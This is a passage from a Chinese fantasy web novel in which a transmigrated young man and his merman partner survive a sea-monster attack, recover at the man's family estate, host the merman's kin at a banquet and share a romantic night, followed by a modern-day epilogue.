听到底下哎呀了几声才解释,“我昨天看这天上的星星不大好, 怕是要下雨起浪,大家还是在家里待着为好。” 底下人顿时有几声附和的, 更多的还是议论这说书先生夜观星象的。 琼州靠海,海上天气有什么动静大家都看着, 生怕出什么事,台上人这么一说顿时有人开始忧虑起来,那先生走之前又是拱手一笑,“不过学艺不精, 可能也是看错了,大家听个乐也就是了。” 阿满把桌子上的花生皮屑扒拉到一边趴下,“就是要下雨了。” “大雨?” “不小,反正海上要起浪。”阿满想了想,“但不确定具体是什么时候,要是半个时辰以后不起大概就是晚上了。” 谢文运很信这一直在海里生活的鱼对海的观测,“那咱们回去?” “起浪也没事,我能游回去。”但阿满说完又看了眼谢文运摇摇头,“还是回去吧,我能行你不行。” …… 两人往海边去,路上就看见天上的云黑了起来,也能感觉到起了风,等到了岸边又遇到了上次弄了条船去把两人捞上来的大伯。 大伯跟阿满对视几眼,异口同声道: “还往海边跑,起风了!” “还要出海?起风了!” 大伯一愣,扬了下手里的绳子,“什么出海,我要把船绑好,要是被风给刮走了哭都没地儿哭,倒是你们又来这儿干什么?”他痛心疾首的看向谢文运,“你可要看好你弟弟知道轻重啊,现在下去可真被海给吃了!” 这大伯船也不弄了,一脸警惕的盯着二人,这下他们也没法直接跳进海里,两人干脆蹲在那开始给大伯往牢拴船。 大伯有点欣慰,暗暗的跟谢文运夸奖,“你弟弟虽然这儿不好。”他指指脑子,“但实在心善!” 谢文运:“……谢谢您了。” 为了应付大伯,让大伯打消认为两人还会进海里的顾虑,两人甚至又回城里走了一趟,等再出来再到海边的时候不止起了风,肉眼都能海浪一层接一层的在海面上拍打。 “你一会儿闭上眼睛。”阿满提醒,“睁着眼睛可能会疼。” 对这种情况并不了解的谢文运自然无有不应。 …… 他闭着眼海水拍打在脸上依旧很疼,只是感觉和听到阿满游动的声音和周围杂乱的不知名生物发出的声音。 他不知道想起了什么,在心里跟996说话,“你说海底有没有可能有什么巨型水怪之类的,毕竟这个时代好像有些东西还没灭绝吧。” 【有的有的。】996回答,【不止这个时候有,人类对海洋的开发程度不足1%,没有触及到的区域谁知道又有什么。】安分待在那里的996伸出双手合十,【所以要有一颗敬畏之心。】 本来已经稍微适应了现在流动过于强烈的水流,但一股猛的甩到身上的水硬生生把谢文运打的痛哼了一声,眼皮不受控制的想眨一下,却被阿满立刻捂住了眼睛,他能明显感觉到阿满改变了游动的方向,好像是在躲避什么东西,能挨碰到的地方肌肉都绷的紧紧的,在水里不断变换方向逃窜,谢文运趁机睁开眼往后看了眼,996也去看,一人一统顿时呆住了。 ……真有水怪啊。 这玩意儿很符合对水怪打消的刻板印象,说成是海怪更恰当,谢文运甚至觉得它甚至比谢家那艘极其气派的商船还要大,像是巨型章鱼,可又比章鱼可怕的多,皮肤表面并不光滑,而是有一些毛发分布,巨大的吸盘可能有四分之三个谢文运,尖锐的牙齿时不时因为游动而露出来。 谢文运:“……” 996:“……” “没事。”阿满没张嘴,声音好像是从腹部发出来的,“能躲掉。” 二者体型过分的悬殊,阿满的话可信度在这种情况下也随之下降。 “这什么东西?”谢文运在心里问996。 查询了半天资料的996立马给出解释,【算是天敌,这玩意儿偶尔会出来捕捉鲛人,但鲛人不在它们的食谱上,一般捉就是为了玩或者给小怪物当练手。】 “能躲掉么?” 【50%。】 谢文运:“……” 【没有你就80%。】 谢文运:“那我走?” 【什么话!】996很不认同,【你等我看看,你可是有系统的人,什么海怪丑八怪章鱼的,根本不用怵。】 这来自更高文明的赛博生物胸有成竹的话给了谢文运点信息,再次深刻理解了一切恐惧来源于火力不足。 【不过这玩意儿真恶心。】996边翻边说,【比我在飞机上杀的那群鬼还恶心。】它有点不明显的抓狂和崩溃,【等我回去要把这种世界也屏蔽掉,我不是做古代世界么,为什么会出来克苏鲁啊!!】 那边996一直在骂娘,这边阿满一直在卖力游动。 “我感觉周围有点陌生。” 【肯定的。】996说,【动物的护巢本能,往离家远的地方引,要是把这玩意儿带回家附近运气好需要找新住所,运气不好等团灭吧。】 它翻来翻去,有很多道具在这种古代世界会被限制不能使用,而一些能使用的根本对付不了这个海怪,于是翻来翻去居然半天没找到什么有用的,面前那条长达几十万页的已收录能力一眼看不到头,它筛查了一遍又一遍还是剩下一大堆。 跟海怪玩了半天追逐赛的阿满已经皱起了眉头,抓着谢文运猛的往沙子里一扎巨大的尾巴用力在沙子里扑腾,靠近那里的海水顿时变得浑浊起来。 巨大的海怪追着过来只见浑浊的地方鲛人再次像离弦的箭一样冲了出去,于是看也不看浑浊的地方就继续追了上去。 谢文运整个人都被各种沙子还有浑浊的东西给掩盖住了,一直被抓的很牢的人在这里猝不及防被放下,而放下他的鲛人继续引着危险离他而去,谢文运坐在那里没动。 996还在翻,【傻了?】 谢文运捂了下脸,“他还不如把我扔到后面去吸引海怪。” 就算阿满真把他扔了去吸引海怪的视线谢文运都不会觉得有什么,仁至义尽带着跑了这么久为了自己的安全舍弃他谢文运可以理解,但他实在没法理解把他放在这儿自己去引开危险的行为。 除了父母几乎没有人会替你去死。 他不理解,或许说不愿意理解。 【要真这么干就是让你去死了。】996毫不客气。 “快点找道具啊!”谢文运难得露出一点着急的神色,“要死鱼了!” 【吼我干什么!】996看着他那点真切的着急心里觉得不太妙,【我又成了你们爱情play的一环了是吗!】 …… 本来就在剧烈翻滚的海底现在更加猛烈,海中的两大猛兽在那里嘶吼,一旦开始就注定不会简单结束,必定以一方死亡或挂彩结束战局。 吼叫的声音甚至都传到方圆几里,无力掺和甚至会被无辜波及的小动物在海里瑟瑟发抖,只好祈祷这两个快点结束战斗离开这里还它们个平静的地方。 血液在海里被飞快稀释,快到甚至让人来不及注意受伤,浑身柔软没有骨头的海怪轻而易举就能摆出各种姿势与阿满搏斗,斗争正激烈之时,细小的东西穿过海水打入身体,海怪动作微微一僵,对自己身上莫名其妙的痛意感到摸不着头脑。 这个痛觉只是一个开始,紧接着随着一颗颗在海水里极其不明显的东西穿过打入,巨大的海怪因为疼痛顿时暴躁起来,再次剧烈的嘶吼咆哮着,阿满抓住这个机会立马反攻。 …… 巨大的东西落在地下,藏在附近的生物立马靠近尝试在死亡的海怪身上分一杯羹,996接过系统出品的特制枪支吹了下不存在的烟,【一切恐惧来源于火力不足,他还在用牙齿,而我,已经开始使用先进武器。】 谢文运没工夫搭理疑似中二病发作的996,立马前去查看待在那里不动的阿满。 只见他的鱼尾上不少鳞片外翻,几个指甲甚至断了一截,有一处正在往外滋血。 阿满白着嘴唇用手指捂了捂,稍微蜷缩起尾巴不肯动弹了,但他很快就清醒起来。 “回去。” 第87章 第八十七章 回家 沉重的大门被拍响, 晚上守在门口的小厮很不耐的扬声,“谁啊!大半夜的来扰人清静!” “我!谢文运!快开门!” 小厮疑心自己听错了,可事关谢文运他也不敢含糊, 立马用力从里面把门打开,定睛一看门前浑身湿透看起来有些狼狈的人,这不是谢家大爷还能是谁! “大爷回来了!” 近日来显得愁云惨淡的谢府突然闹哄哄起来, 各个丫头小厮往各院跑通知主子们,已经熄了灯的院子立马又掌灯, 大太太翻身坐起来只是听了这话眼里就又有了泪,紧紧抓住她身边大丫头的袖子, “文运真回来了?” “回来了太太, 大爷真回来了!” 大太太喜的不知要怎样才好, 立马起来随意披了外衣来不及收拾自己就往外冲, 穿过后院往前堂疾走, 一看站在那里浑身湿透又狼狈的谢文运顿时哭出了声, “我的儿啊!” 谢文运接住向自己扑过来的妇人,这妇人几乎是不管不顾的号哭, 整个人软的站不住靠谢文运扶着才勉强立着,几乎要把心都哭出来一样, 哭的难以言语又被身后丫头扶着擦泪。 谢文运接了丫头手里的帕子给大太太擦泪,“母亲我这不是回来了么?你莫哭。” 这边正哭着, 那边大老爷扶着老祖宗姗姗来迟,老祖宗一看见正在前厅里号哭的媳妇也忍不住落了点泪, 拄着拐杖伸手朝谢文运走去,谢文运也快走几步去接住,就被老祖宗捂进了怀里也哭起来,“可怜我孙儿不知在外吃了多少苦头才回来!” 谢文运被抱在怀里没忍住有点唏嘘, 长房长孙正室所出,大太太在谢文运其后还有两子一女全都在幼时夭折,来来回回就剩了谢文运这一个儿子,或许知道儿子海难的时候天都塌下来了。 谢承柏看了一圈发现人没什么事又皱起了眉,“我听底下人说有个人在漳州见过你,既然没事不回家反倒往漳州去惹的老祖宗和你母亲担心,实在是不孝顺!” “好了好了!”老祖宗抱着谢文运满是责备的看了眼大老爷,“全须全首的回来已经是天大的幸事,谁知道在外面又是如何的担惊受怕,你这个做父亲的不体谅没有和软话也就罢了,何苦又来责备他!” 她抱着谢文运询问,“你是如何回来的?是不是被别人所救,我们一定得好好感谢感谢。” 终于说到最要紧的谢文运立马从老祖宗怀里出来让老祖宗看一旁的阿满,“孙儿掉进海里正是阿满救了我,不然今天孙儿绝无可能站在这里。” 老祖宗定睛一看哎呦一声,“这是、这是什么?” 人身鱼尾的阿满依旧恹恹的,身上伤口虽然已经不流血但看着尤为惨烈,在场的人哪里见过长着鱼尾巴的人,纷纷瞪大了眼。 “老祖宗,阿满为了救孙儿受了这样重的伤,还是快点找大夫来看一看吧。” “好好!”老祖宗连连点头立马叫自己身边的丫头,“去把咱们府里的大夫全叫到文运院子里去,有什么好药材尽管取用!” …… 谢府临时动用人去海边取了好几桶海水用车拉回来,府里的大夫听说要去大爷院子里还以为是大爷出了什么事,到了地方定睛一看居然是条长着鱼尾巴的人。 “这、这这这……” 为首的大夫一脸犹豫,“这鱼可怎么看啊。” 谢文运站在一边催促,“照人看,都是外伤,上好的药全拿过来。” 听了这话大夫也不敢推卸,一圈人围着阿满看来看去就开了些治刀剑伤的药,一个大夫正想说不能碰水,又看了看那条鱼尾巴陷入了犹豫,“上药的时候不要碰水,让药好好吸收了。” “桃夭。”谢文运看了眼一直守在旁边的丫头,“去安顿小厨房炖当归羊肉汤回来,这几天多做点补气血的荤腥。” 桃夭应声赶紧出去了。 几个大夫并不确定鱼要不要跟人一样喝药,但为保险起见还是开了些三七等药材,有熬成汤剂喝的,也有研磨后外敷止血的。 桃夭去了小厨房晴儿就顶了上来,端着清水和布过来准备替阿满擦拭尾巴上药,就被眼前一只手拦了下来,“给我。” “爷,你怎么能做这个?”晴儿踌躇着不肯给谢文运白布,谢文运没说话只是在伸了一次手,她也只好拧干净递给他了。 谢文运搬了个凳子坐在那里,伸手把阿满的尾巴挪到自己腿上小心的擦他外翻的皮肉和鳞片,擦了好几次突然觉得阿满现在沉默的有点不像话,“你怎么不说话?” 阿满摇摇头,“累。” 一边晴儿看见这条鱼张口说人话又瞪大了眼,谢文运对身后的动静恍若无觉,“你要不直接睡,我帮你弄尾巴。” “睡床上吗?”阿满扭头看了看,“睡不下。” “尾巴一会儿泡海水里,能睡得下。”沉重的尾巴放在腿上被一点点擦干,谢文运接过三七粉撒在创口上,“你睡吧,药和羊肉汤都得熬好一会儿。” …… 第一次睡在床上的鱼很不适应的闭着眼躺了会儿还是没睡着,正好屋里多了淡淡的苦味儿,阿满没用谢文运自己叫就起来了。 谢文运正端着药碗尝试温度,听见后面动静回头看,“怎么不睡了?” “睡上来好干。”阿满摸了摸自己的肩膀和胳膊,“不想在这里睡。” “先把药喝了。”谢文运端了碗和汤勺,“桃夭。” “大爷有什么吩咐?”桃夭稍微俯下身。 “从库房里看看有什么大桶大盆的,搬出来让小厮放满海水放进我房里来。”谢文运拿起汤勺舀了几下补充,“还有,明天找个工匠来看着阿满的大小去做个桶,把我院子里那个池子放空了洗干净,每天让小厮换海水,赏钱从我房里拿。” 谢文运感觉温度差不多把勺子拿走直接把碗递给他,“一口闷,别喘气,直接喝下去没有那么苦。” 已经稍微张开嘴的阿满愣住了,缓缓抿住嘴巴歪着脑袋凝视谢文运。 “……啊?”谢文运缓缓吐出一个啊字,虽然什么都没做但一直被凝视居然有种莫名其妙的心虚,“你看我干什么?” 阿满深深的看他一眼,很轻的叹了口气,“你不喂我?” “……一勺勺喂你不嫌苦么?” “你喂我就不嫌苦啊!” 谢文运:“……” 谢文运并不想在喝苦药上玩什么投喂的情趣,于是再次把碗往他面前送了送,“来,一口喝掉。” 阿满再次深深叹气,端起碗一口喝掉,然后面容就缓缓扭曲了,“这里面有什么……?” 谢文运接过碗给他拿了个茶杯让他喝点清水漱漱口,又从桃夭端着的盘子里拿了提前备好的蜜饯塞进他嘴里。 阿满囫囵嚼了几下就咽掉还要继续吃,谢文运干脆把装蜜饯的盘子也递给他,厨房里羊肉汤已经熬好了,阿满行动不便干脆也由谢文运去桌上呈了一碗回来,在房里侍候的几个大丫头你看我我看你互相面面相窥不知道该干什么。 阿满这次看见谢文运端着羊肉汤过来也不张嘴了。 谢文运觉得好笑,看了他几秒抬抬手,“张嘴,没吃过羊肉你尝尝对不对味儿,要是不喜欢羊肉府里牛肉也多,换着吃。” 阿满小声,“猪肉好吃,上次在馆子里吃的猪肉很好吃。” “府里没有猪肉。”谢文运解释了句,“你想吃我明天找人去采买,先尝尝。” 他先舀点汤喂给阿满让他尝尝味,阿满一下子也没吃出来喜欢还是不喜欢又尝了好几口觉得还行,吃了差不多半碗饥饿感才减轻了点,他又看了眼摆在那里以精致为主要目的的小锅,“好少,吃不饱。” 谢家这种人家一顿饭桌上起码有十几道菜,各个摆盘都小,种类多但量少,厨房这还是看有两个一起吃还就这么一道做的比往常量大了点。 阿满这种体型很大的鱼饭量本来就跟人不一样,每次去酒楼一桌子硬菜照旧能塞。 “想吃什么,让厨房给你做。” 阿满张嘴叭叭点了几个菜继续喝碗里的汤,喝完一碗谢文运又去盛。 “为什么没有猪肉。”阿满边吃又想起谢文运之前说的,“我看你们家挺有钱的啊。” 谢文运解释,“在岸上推崇牛羊肉,说清贵,有钱的人家吃羊肉牛肉,猪肉是普通人家吃的,所以谢家没有猪肉。” “因为你们家有钱,所以不吃猪肉是么。” “差不多。”谢文运去把小锅里的肉块夹到碗里直接递给阿满,“吃肉吧,羊牛肉性温,对养伤口好,最近桌上少不了这些。” 阿满吃完肉,“我要在这里待多久?” “你想回海里?”谢文运问了一句又说,“可我没法一直待在海里。” “可我一直待在岸上也不舒服。” 谢文运现在甚至在思考能不能把阿满带回现代去,直接在家建个巨型鱼缸把他养在家里随便他游,“996?” 【干什么……?】996幽幽开口。 “现在任务完成度是多少了?” 【43,应该还差跟阿满砰砰砰和海底捞售卖剧情。】 谢文运嗯了声表达自己会做,“你说到时候完成任务能不能把阿满一起带走?” 【可以。】996回答,【前提是这个任务得完成。】 于是谢文运思考了半天对阿满开口: “能不能把你的七大伯八大舅叫上来让他们来谢府吃个饭?” 第88章 第八十八章 海底捞 谢文运院子里的池子很大, 引的还是活水,要改成海水池子得把原先的进水口给堵住,工程量很大, 但是安顿工匠做的按照阿满的大小的木盆却很快,第三天早上那木匠就用个车把盆给拉进来了。 只可惜这个盆横着端不进房间竖着也拿不进房间,只好把房上面的纱窗拆了拿回盆再让工匠重修, 往常安静的院子现在成天叮叮当当响。 他最近忙的很,除了要待在阿满身边, 也要经常往老祖宗和大太太身边走,这两位在他海难期间实在是担惊受怕的不像样子。 屋子里老祖宗正笑着, “你也是着急了, 我们文运何必这么早就相看呢?” 大太太叹了口气, “媳妇也是怕, 这次海难真是把媳妇的心都要痛掉了, 要是文运没回来真不知道该如何是好, 想着让他早早成家也好。” 老祖宗看向一边的谢文运,“也想成家了不成?看上了哪家姑娘?” “孙儿倒是没想这个。”谢文运直接拒绝了。 “我觉得也是。”老祖宗还是笑着的, “你也放宽心,要么就让他房里那几个丫头, 什么桃夭晴儿的开个脸做个通房姨娘的,娶妻还是不着急的。” “就算是做个通房姨娘也没有庶出子在正室进来前生下的。” “哦——”老祖宗笑的见牙不见眼, “这是想抱孙子了?” 大太太笑了下,“是了, 我是想能不能让舟政和转运使大人在同僚里相看相看,有什么好姑娘咱们也好趁早订下。” 大太太嘴里说的正是琼州舟政和沧州转运使两位谢大人。 “理是这么个理。”老祖宗想了想,“虽然我们谢家是商贾出身,别说是官家小姐, 怕是公主我孙儿也娶得,再等个一两年吧,过个一两年文运也该接受家里一些事了,到时候相看也多些底气。” 大太太虽然着急,但老祖宗发话了也不好继续进行催促,只好笑了笑,几人正说着话,门口的丫头就通传,“老祖宗、太太,东院奶奶身边的大丫头来了。” 得了进来的应允丫头先是给在座几位主子磕了磕头,“见过老祖宗、太太、大爷。” 老祖宗仔细端详了半天,“哦,你是那个秋儿?” “是,正是奴婢。”秋儿笑着回话。 大太太也看秋儿,“你们奶奶指使你过来干什么,是东院缺东西了?” “是。”秋儿回答,“我们奶奶正在月子里没法见风,就派奴婢过来了,前段时间院子里有手脚不干净的昧了好几十两例钱,太太还怀着身子没精力去探查,后来查出来发卖了钱也找不回来了,正巧碰上太太月子里开销大,东院的钱一下子就接不上了。” 大太太沉吟片刻,“你们奶奶月子前我不是多给了二百两么?” 秋儿支吾了半响什么都没说出来,老祖宗唉了声叫停了这段话,“行了,月子里的人就好好养着吧,从我房里再拿三百两就是了,不是什么大钱也值得这样,去吧。” 秋儿一走老祖宗就叹气,“估计是那个不争气的又在外面养小老婆呢,那几个银子够做什么的!” 谢文运现在都没认清人,东院西院,两个老爷两个太太,老爷那里还有好几个妾室生的庶子,下来又是跟谢文运平辈的一堆,这个太太那个太太,这个奶奶那个奶奶的。 整个谢府人多眼杂的,不知道是谁往外说了消息,阿满回来没几天外面就传谢府从海里捞上来个特别漂亮的话本子里才有的人鱼,至于府里没看到的也都眼巴巴的想借着来往的名头去看看,谢文运早拒了好几波人,这天从老祖宗那里出来就回自己的院中。 他一路上都在跟脑海里的系统互相讨价还价,“这个任务完成度到六十就算结束。” 【咱们不能再高一点么?】996苦口婆心。 “悬。”谢文运说,“咱们就别干那丧良心的事了,什么捞上来卖人家,捞一下倒是可以,卖就算了。” 996再次绝望的闭上了眼,实在无力挣扎回去计算要是这个世界按六十算,再算一下平均成绩好像都没够到及格线,顿时更加绝望了。 谢文运刚回院子就发现阿满在池子里躺着,他院子里有个女孩才七八岁,是管家的孙女,平时倒也不做什么,阿满来了开始陪着阿满玩,现在正趴在池子边摸阿满的耳朵,边夸边夸阿满漂亮,“你好漂亮!” “你也漂亮。”阿满用手把自己的头发撩到一边方便她摸。 耳朵上看似很薄的一层膜实际上很坚韧,但小姑娘还是特别小心又小心的摸来摸去。 谢文运走进来看见的就是这么副场景,小姑娘没有注意到他依旧高高兴兴的,而阿满却看到他了,眼睛顿时又亮了起来。 姑娘立马转过头,一看见谢文运动作就收敛了不少,“大爷。” “嗯。”谢文运稍微碰了碰她扎的小辫,“玩去吧。” 小姑娘走远谢文运就蹲了下来摸他垂在胸前的头发,“我在外面订了酒楼,直接包下来了,叫你的七大伯八大舅七大姑八大姨上来吃个饭。” 阿满眨眨眼,“你爹娘也去么?” “不去,怎么了?” 虽然知道他们上岸都要变成人的双腿,但谢文运没忍住想象了一下一酒楼鱼到处狂甩尾巴边吃饭的场景,想到这儿笑了下。 “哦——我还以为你要双方家长见面呢。”阿满甩了甩尾巴溅起一滩水。 阿满倒是把他上次说的娶亲给记住了。 …… 阿满看着在浅水区域铺的网很不明所以,“铺个网干什么?” 当然是为了完成海底捞的剧情。 但这话谢文运不说,只是特别无厘头道,“爱好。” 阿满不理解,但阿满选择尊重。 海里逐渐出现了些影子,大部分是之前见过的雄性鲛人,还有之前从没见过的雌性鲛人。 “我在海里的时候怎么从来没见过雌性鲛人?” “数量少。”阿满说,“特别少,而且除了一些组成家庭的雌性鲛人,平常几乎见不到的。” ……所以你们搞基是吗? 谢文运很有这么问一下的冲动。 这群鲛人看见两人站在这里当然往这个方向走,要这么走必定会在铺好网的区域经过,谢文运看似在注视远处的海面,实则在脑海里不断询问996进度。 【53、54……55%】996也屏息凝视希望能多涨一些进度,但直到这群鱼出来进度也只是停留在55不动了。 【你砰吧宿主,你砰吧。】 变成人的鱼依旧不会说人话,还跟阿满叽里咕噜,谢文运当然听不懂,也幸亏这群鱼眼睛五颜六色,装个外邦人也不难。 谢文运没法跟他们交流,阿满也只是简短的说了点话就带着这一大群鱼换衣服吃饭,每个看起来英俊漂亮又身材纤细的鲛人个顶个的能吃,对岸上的食物顿时赞不绝口双眼冒光,甚至有的一副要住在岸上再也不回去的样子。 谢文运有种预感,即使他不做这个所谓的售卖鲛人的剧情任务,或许在未来也会有不少鲛人主动走上岸与人类往来,未来一切的发展在冥冥之中早已定好,万事万物的发展也不可能停滞。 “我没有做这个售卖鲛人的任务,那么等我走后原主回来还会这么干么?” 【一般来说事情的发展是一环扣一环,也是有可能会发生这种事情的,但跟原来的必然发生概率会降低很多。】 说的很好听,但总结来说就是不确定、不知道。 谢文运叹了口气也不再在意这个事,这种物种被发现磨合产生的冲突无法避免,其中死亡或其他情况都是自然的选择,他无从插手,当然也没有必要插手,就算他真的插手藏匿这种物种所谓的存在,也只会延迟被发现的时间而无法改变命运。 不止是鲛人,其他物种也是一样,发展到后期双方互相制衡对彼此都产生威胁再次回归平衡达成一个微妙的和平。 发展之道就是这样,历史也是这样。 他静静的等,等阿满跟这群鲛人说话,又等无人时再把这一群鲛送回海里,“我看你跟他们不是多么亲切。” “本来就不亲切。”阿满很奇怪的看他,“你怎么会这么想。” “你们住在一起,看起来像个种群。” 阿满笑了,“那你院子里还好多人住在一起呢,怎么不亲切啊。” “我们鲛人本来就不看重这个。” 谢文运发出一声无意义的嗯? “我们从出生后只要长大一点可以自主捕食父母就不会再养育我们,如果在之后的生活中不够强壮那么就找不到雌性鲛人来繁衍后代,绝大多数鲛人都跟同性生活一辈子,鲛人群居住的地方也只是聚落而已,我们可能会互相帮助,但我们不是什么亲密关系,仅仅只是最浅薄的因为聚落而暂时存续的关系。” “鲛人一生唯一亲密且不会抛弃彼此的只有伴侣。” “就是你。” 第89章 第八十九章 绝不抛弃 身上外翻的鳞片逐渐脱落长出新的, 暂时没被覆盖的嫩肉随着轻微的动作会一颤一颤,漂亮的尾鳍不安的颤动,灼热的嘴唇落在上面与略显冰凉的尾巴形成了某种温度上最直接的冲击。 手掌下的尾巴被阿满控制着一抖一抖, 又被谢文运用手掌安抚着摸。 床并不足以让他舒展鱼尾,于是只好坐着将鱼尾翘起来,但坐姿也更能让阿满清楚的看到谢文运现在抱着他的尾巴的样子。 没有光源的情况下尾巴绝大部分时候都是银白色, 现在尾鳍和一些边缘的地方却微微泛起红,甚至尾鳍都蜷缩起来。 嘴唇接触到新的嫩肉时触感很奇妙, 尤其是接触接触时能感觉到紧绷和一颤一颤。 换作几个月前要是有人会告诉谢文运他会对一条尾巴爱不释手谢文运只会觉得那人有病,现在只会夸那人真是高瞻远瞩。 谢文运刻意找有软肉的地方嘬, 怀里那条尾巴焦躁的弹了几下像是终于忍无可忍圈住了谢文运的脑袋不让他再动, 尾巴卷住他的脑袋, 尾鳍还上来轻轻的在他脸上扫, 但被控制住的这个位置实在微妙, 谢文运慢慢眨了眨眼就在这个位置亲了几下。 一直以来直白的鲛人被这调情的几下逗的实在受不住, 像是被火烫到一样立马放开谢文运的脑袋抱着自己的尾巴弱小可怜又无助的往床柱上一靠,谢文运立马紧接着跟了上去。 中间隔着尾巴没法完全的靠近, 谢文运只好将胳膊撑在一侧另一只手去找阿满的肩膀,凑上去先亲了亲阿满鼻尖上的那颗痣, 形状很漂亮的眼睛和嘴唇一直在颤,察觉到谢文运的逗弄有些恼怒的睁开眼, 正准备主动凑上去亲下嘴唇却被躲过,谢文运眼里带着笑, 躲过又凑上去亲了下他的鼻尖。 他若有若无的逗弄阿满,每次自己都亲到了却不让阿满真的亲到,惹的鲛人整张脸都因为恼怒而褪去刚才那点鲜见的羞涩,愤愤起来的鲛人表情更加生动, 立马放开自己的尾巴把谢文运缠着压住,达到目的的谢文运稍微笑了下。 不知道被主动亲了多少下,那条细细的舌头也逐渐缠了上来,比起人类的舌头不知道灵活多少,也很长,特别热情的缠上来品尝着那种让大脑中神经一颤一颤的反应,也在品尝自己喜欢并熟悉的味道。 眼前的面孔漂亮,甚至可以说有种雌雄莫辨的美感,但手里的身体因为常年在海里生活有异常漂亮的肌肉,线条流畅手感极佳,是一具纯粹的、属于男性的身体。 谢文运很清楚的知道这个。 手从紧实的腰腹一路摸到腰侧,那里分布着细小的鳞片,有些柔软,轻轻搓一搓也会抖,稍微搓了几下正在跟自己深吻的鱼就一抖一抖的不肯继续配合了,想缩回舌头躲腰上那只手,谢文运哪能让他如愿,张嘴就轻轻咬住那截纤细的舌头看阿满着急,又搓了几下鳞片才大发慈悲的松开阿满。 阿满稍微起来一点跟谢文运抵着鼻尖喘息,伸手抓住谢文运的手不让他随便动,“不要摸我!” 谢文运直接伸手拍了拍他的鱼屁屁。 阿满整个鱼缓缓的僵住了,带着点询问的眼神看他,却换来了谢文运再次捏了捏。 “我要变出来双腿吗?”阿满很诚恳的询问并建议。 “我觉得不用。” 阿满思考了几秒也觉得不用,再次欢欢喜喜用尾巴把谢文运给缠住了。 下面可以弯曲的部分缠住谢文运形成一个凸字,某个地方反倒因为这个姿势看起来更翘了,谢文运稍微垂眼看了下,又上手捏了捏。 坚硬的鳞片本来在保护尾巴,现在却在谢文运的手下服帖的软下来,某个地方柔软的更加明显,被触碰到时反应敏感又可爱。 尾鳍缠住手腕好像在拒绝动作但又不太使劲,反倒是轻轻的摩挲着。 …… 床还是过于狭小,谢文运浑身都是汗,与阿满鼻尖相对喷洒着灼热的鼻息与最直接的观感。 谢文运用鼻尖蹭了蹭,然后又去亲他的侧脸,一直偏着头脖子很酸痛,阿满扭回脑袋恢复正常的姿势。 他没法动,强悍的体力和远超出于人类的灵敏度在此刻全都化为乌有,阿满艰难的控制着尾巴稍微躲避了下,却在下一秒又被那只手按了回去。 腰侧鳞片早就在无数次的剐蹭与摩擦中发软发热,身体主动的讨好着。 谢文运把脑袋深深的埋进阿满的脖子里闻他的味道,过了良久动静才停下来。 …… 等收拾完已经过了很久,在海里能长时间游动不见疲惫的鲛人此刻骨头都是软的,很熨帖的窝在谢文运怀里,一直没用上的双腿此刻为了方便被变换出来,动作极其自然的缠上谢文运。 一人一鱼已经靠的足够近,但谢文运还是伸手捞住阿满的肩胛,另一只手捞住缠在自己身上的双腿按了按,直到贴的更紧密不可分。 阿满的脸近在咫尺,谢文运稍微一偏头就能亲到,他很从心的亲了亲,亲眼睛的时候能感到触感明显支棱着的睫毛。 “你要不要跟我回家?”谢文运伸手摸他的头发。 “这不就是你家么。”怀里的鱼困倦的打了个哈欠。 “不是这儿,我自己的家。” 谢文运能感到怀里抱着的鱼脱离了自己的怀抱,然后很认真的思考,他不知道阿满在想什么,但很快就被直白的给出了答案,“你自己的家里有海吗?” 谢文运微微一怔,“有,到时候给你建个巨型鱼缸。” 他想了想要是真的把阿满放进那个海里怕是海里的东西都要死掉,一些极具危险性的生物在更早之前就已经灭绝,进了那种海的阿满怕是毫无天敌直接成为海洋霸主。 “你要知道。”阿满很慢但很认真的说,“就算我跟你走了我也能离开,我有那个本事离开。” 他没说仔细明白,但谢文运知道他在说如果跟着他离开了熟悉的地方,谢文运最后背信弃义,阿满完全有那个能力自己离开。 鲛人一生唯一的亲密的,可以互相信任共享一切的亲密伴侣,但这个前提是——绝不抛弃。 第90章 番外:归于大海 谢文…… 谢文涛很长时间没看见他哥, 甚至那天逃走都没被暴揍,要不是卡里钱照旧打上来他甚至怀疑他哥是不是不要他了。 但现在不管不顾远远比打他一顿让他不安,问了一圈秘书终于得到了个全新的他从来不知道的地址, 顿时悲从中来,他从来不知道自己的哥哥居然背着他新买了房子还不告诉他,这不是不管他的先兆还是什么? 他立马什么也不管了, 开着车就往海边冲,到了地方底下两层连个窗户都看不见, 他绕了一圈才找到门在哪,看了眼门口的摄像头开始按铃, 过了好一会儿门才被从里面打开, 穿着颜色简约款式简单的睡衣的谢文运站在那里看他, “干什么?” 一句干什么给谢文涛问蒙了, 顿时瞪大眼不可置信的看向谢文运叫了声哥, 见谢文运态度很随意的嗯了声才稍微放下点心, 伸手就朝他哥要鞋套,“哥, 鞋套呢?” “不用穿。” 谢文运说完这个就自顾自往前走,徒留谢文涛一个人发呆, 奇了怪了,他之前每次从外面回来都得穿鞋套换衣服才能在他哥这个洁癖人家里行动自如, 现在怎么鞋套也不用穿了。 他愣了又愣,试探着踩了一只脚进去发现他哥也没打回马枪才放心跟进去, 他正奇怪为什么要在门口弄这么一面磨砂面的玻璃墙把入口跟家里隔开,从这里绕开就缓缓长大了嘴,“o。” 眼前完全被改造成了一个居家式海洋馆的样子,一进来看见的就是透明的特殊材质的玻璃, 里面蓝色的海水里游动着各种鱼和别的生物,二楼好像直接跟一楼打通直直的上去,普通款式的楼梯也改成了螺旋式绕着玻璃。 他看着谢文运的背影赶紧追上去,“不是哥,你要当钓鱼佬啊?” 不得不说螺旋式的楼梯走上去可以看清楚巨型鱼缸里的所有生物,观赏性极佳,他边走边看,谢文运却早走没影儿了。 他一边追一边得寸进尺喊,“哥,外面海滩借我跟我朋友玩party呗,还有你那艘船,借我玩玩。” “朋友?”谢文运停下脚看他一眼,“男朋友?” 谢文涛表情有点不好意思,但也敏锐的感知到谢文运好像并没有之前对同性恋反感了,立马顺杆子往上爬,“还不是么,这个贼那什么……” 他刚想说贼带劲,但又意识到自己在谢文运这个崆峒人士面前这么说有点太放肆了,悻悻闭了嘴摸摸鼻子不吭声了。 谢文运冷笑一声不搭理他。 他哎呦一声继续往上追,一上去就看见他哥去洗手消毒戴上手套拿了一瓶蓝色的药朝一条巨型鱼尾走了过去。 他定睛一看,眼前是条特别漂亮的鱼尾巴,尾鳍的样子像是网上那种很多人养的五颜六色的斗鱼,但比那个看起来结实很多,漂亮的尾鳍现在却缺了一块,“哎呀哥,我跟你说我有个朋友养斗鱼,然后他鱼尾巴也容易坏,他之前用什么药来着,特别管用,我给你问……” 话说到一半他却停住了,随着继续往上走那条鱼的全貌映入眼帘,谢文涛再次长大了嘴,“O。” “不是不是,这是什么?” 